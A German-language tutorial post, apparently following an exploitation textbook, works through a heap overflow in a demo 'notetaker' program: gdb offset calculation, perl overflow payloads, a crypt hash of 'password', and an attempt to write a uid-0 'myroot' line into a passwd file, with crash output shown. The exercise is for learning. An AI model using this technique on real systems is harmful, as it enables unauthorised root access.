Der nächste Abschnitt zeigt, wie ihr mit Notestaker einen Eintrag in der /etc/passwd bekommt. Das Problem daran ist, heutzutage wird /etc/shadow genommen und das ganze in md5 verschlüsselt. Aber das folgende Training solltet ihr aus Übungszwecken trotzdem in Arbeit nehmen.

root@toshiba:/home/tomovic/hack# ./notetaker test
[DEBUG] buffer   @ 0x804b008: 'test'
[DEBUG] datafile @ 0x804b070: '/var/notes'
[DEBUG] file descriptor is 3
Note has been saved.
root@toshiba:/home/tomovic/hack# gdb -q
(gdb) p 0x70 - 0x08
$2 = 104
(gdb) quit

root@toshiba:/home/tomovic/hack# ./notetaker $(perl -e 'print "A"x104')
[DEBUG] buffer   @ 0x804b008: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
[DEBUG] datafile @ 0x804b070: ''
[!!] Fatal Error in main() while opening file: No such file or directory

root@toshiba:/home/tomovic/hack# ./notetaker $(perl -e 'print "A"x104 . "testfile"')
[DEBUG] buffer   @ 0x804b008: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAtestfile'
[DEBUG] datafile @ 0x804b070: 'testfile'
[DEBUG] file descriptor is 3
Note has been saved.
*** Error in `./notetaker': free(): invalid next size (normal): 0x0804b008 ***
======= Backtrace: =========
/lib/i386-linux-gnu/libc.so.6(+0x767e2)[0xb7e8c7e2]
/lib/i386-linux-gnu/libc.so.6(+0x77530)[0xb7e8d530]
./notetaker[0x8048a02]
/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf5)[0xb7e2f935]
./notetaker[0x80485b1]
======= Memory map: ========
08048000-08049000 r-xp 00000000 08:01 131308     /home/tomovic/hack/notetaker
08049000-0804a000 r-xp 00000000 08:01 131308     /home/tomovic/hack/notetaker
0804a000-0804b000 rwxp 00001000 08:01 131308     /home/tomovic/hack/notetaker
0804b000-0806c000 rwxp 00000000 00:00 0          [heap]
b7de6000-b7e01000 r-xp 00000000 08:01 1049438    /lib/i386-linux-gnu/libgcc_s.so.1
b7e01000-b7e02000 r-xp 0001a000 08:01 1049438    /lib/i386-linux-gnu/libgcc_s.so.1
b7e02000-b7e03000 rwxp 0001b000 08:01 1049438    /lib/i386-linux-gnu/libgcc_s.so.1
b7e15000-b7e16000 rwxp 00000000 00:00 0
b7e16000-b7fc3000 r-xp 00000000 08:01 1049413    /lib/i386-linux-gnu/libc-2.17.so
b7fc3000-b7fc5000 r-xp 001ad000 08:01 1049413    /lib/i386-linux-gnu/libc-2.17.so
b7fc5000-b7fc6000 rwxp 001af000 08:01 1049413    /lib/i386-linux-gnu/libc-2.17.so
b7fc6000-b7fc9000 rwxp 00000000 00:00 0
b7fd9000-b7fdd000 rwxp 00000000 00:00 0
b7fdd000-b7fde000 r-xp 00000000 00:00 0          [vdso]
b7fde000-b7ffe000 r-xp 00000000 08:01 1049389    /lib/i386-linux-gnu/ld-2.17.so
b7ffe000-b7fff000 r-xp 0001f000 08:01 1049389    /lib/i386-linux-gnu/ld-2.17.so
b7fff000-b8000000 rwxp 00020000 08:01 1049389    /lib/i386-linux-gnu/ld-2.17.so
bffdf000-c0000000 rwxp 00000000 00:00 0          [stack]
Abgebrochen (Speicherabzug geschrieben)

root@toshiba:/home/tomovic/hack# grep -B10 free notetaker.c

   if(write(fd, buffer, strlen(buffer)) == -1) // write note
      fatal("in main() while writing buffer to file");
   write(fd, "\n", 1); // terminate line

// Closing file
   if(close(fd) == -1)
      fatal("in main() while closing file");

   printf("Note has been saved.\n");
   free(buffer);
   free(datafile);
root@toshiba:/home/tomovic/hack# cat ./testfile

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAtestfile

root@toshiba:/home/tomovic/hack# cp /etc/passwd /tmp/passwd.bkup
root@toshiba:/home/tomovic/hack# head /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh

Im nächsten Abschnitt könnt ihr nichts mit eurem System anfangen, Ubunntu 10.x nimmt md5 !!!

root@toshiba:/home/tomovic/hack# perl -e 'print crypt("password", "AA"). "\n"'
AA6tQYSfGxd/A
root@toshiba:/home/tomovic/hack# perl -e 'print crypt("password", "XX"). "\n"'
XXq2wKiyI43A2
root@toshiba:/home/tomovic/hack# cp /etc/passwd /etc/p
pam.conf                 pcmcia/                  polkit-1/                protocols                python3.3/
pam.d/                   perl/                    popularity-contest.conf  pulse/                  
papersize                pkcs11/                  ppp/                     python/                 
passwd                   pm/                      profile                  python2.7/              
passwd-                  pnm2ppa.conf             profile.d/               python3/                
root@toshiba:/home/tomovic/hack# cp /etc/passwd /etc/passwd_test

root@toshiba:/home/tomovic/hack# ./notetaker $(perl -e 'print "myroot:XXq2wKiyI43A2:0:0:" . "A"x68 . ":/root:/etc/passwd_test"')
[DEBUG] buffer   @ 0x804b008: 'myroot:XXq2wKiyI43A2:0:0:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:/root:/etc/passwd_test'
[DEBUG] datafile @ 0x804b070: '/passwd_test'
[DEBUG] file descriptor is 3
Note has been saved.
*** Error in `./notetaker': free(): invalid next size (normal): 0x0804b008 ***
======= Backtrace: =========
/lib/i386-linux-gnu/libc.so.6(+0x767e2)[0xb7e8c7e2]
/lib/i386-linux-gnu/libc.so.6(+0x77530)[0xb7e8d530]
./notetaker[0x8048a02]
/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf5)[0xb7e2f935]
./notetaker[0x80485b1]
======= Memory map: ========
08048000-08049000 r-xp 00000000 08:01 131308     /home/tomovic/hack/notetaker
08049000-0804a000 r-xp 00000000 08:01 131308     /home/tomovic/hack/notetaker
0804a000-0804b000 rwxp 00001000 08:01 131308     /home/tomovic/hack/notetaker
0804b000-0806c000 rwxp 00000000 00:00 0          [heap]
b7de6000-b7e01000 r-xp 00000000 08:01 1049438    /lib/i386-linux-gnu/libgcc_s.so.1
b7e01000-b7e02000 r-xp 0001a000 08:01 1049438    /lib/i386-linux-gnu/libgcc_s.so.1
b7e02000-b7e03000 rwxp 0001b000 08:01 1049438    /lib/i386-linux-gnu/libgcc_s.so.1
b7e15000-b7e16000 rwxp 00000000 00:00 0
b7e16000-b7fc3000 r-xp 00000000 08:01 1049413    /lib/i386-linux-gnu/libc-2.17.so
b7fc3000-b7fc5000 r-xp 001ad000 08:01 1049413    /lib/i386-linux-gnu/libc-2.17.so
b7fc5000-b7fc6000 rwxp 001af000 08:01 1049413    /lib/i386-linux-gnu/libc-2.17.so
b7fc6000-b7fc9000 rwxp 00000000 00:00 0
b7fd9000-b7fdd000 rwxp 00000000 00:00 0
b7fdd000-b7fde000 r-xp 00000000 00:00 0          [vdso]
b7fde000-b7ffe000 r-xp 00000000 08:01 1049389    /lib/i386-linux-gnu/ld-2.17.so
b7ffe000-b7fff000 r-xp 0001f000 08:01 1049389    /lib/i386-linux-gnu/ld-2.17.so
b7fff000-b8000000 rwxp 00020000 08:01 1049389    /lib/i386-linux-gnu/ld-2.17.so
bffdf000-c0000000 rwxp 00000000 00:00 0          [stack]
Abgebrochen (Speicherabzug geschrieben)

Hier breche ich ab. Um einen sauberen Eintrag zubekommen. Erstellt einen neuen User mit useradd und baut das in die shadow/passwd Datei ein. Das ganz nach dem Plan vom Buch.

 

   

Forensik  

   
© ALLROUNDER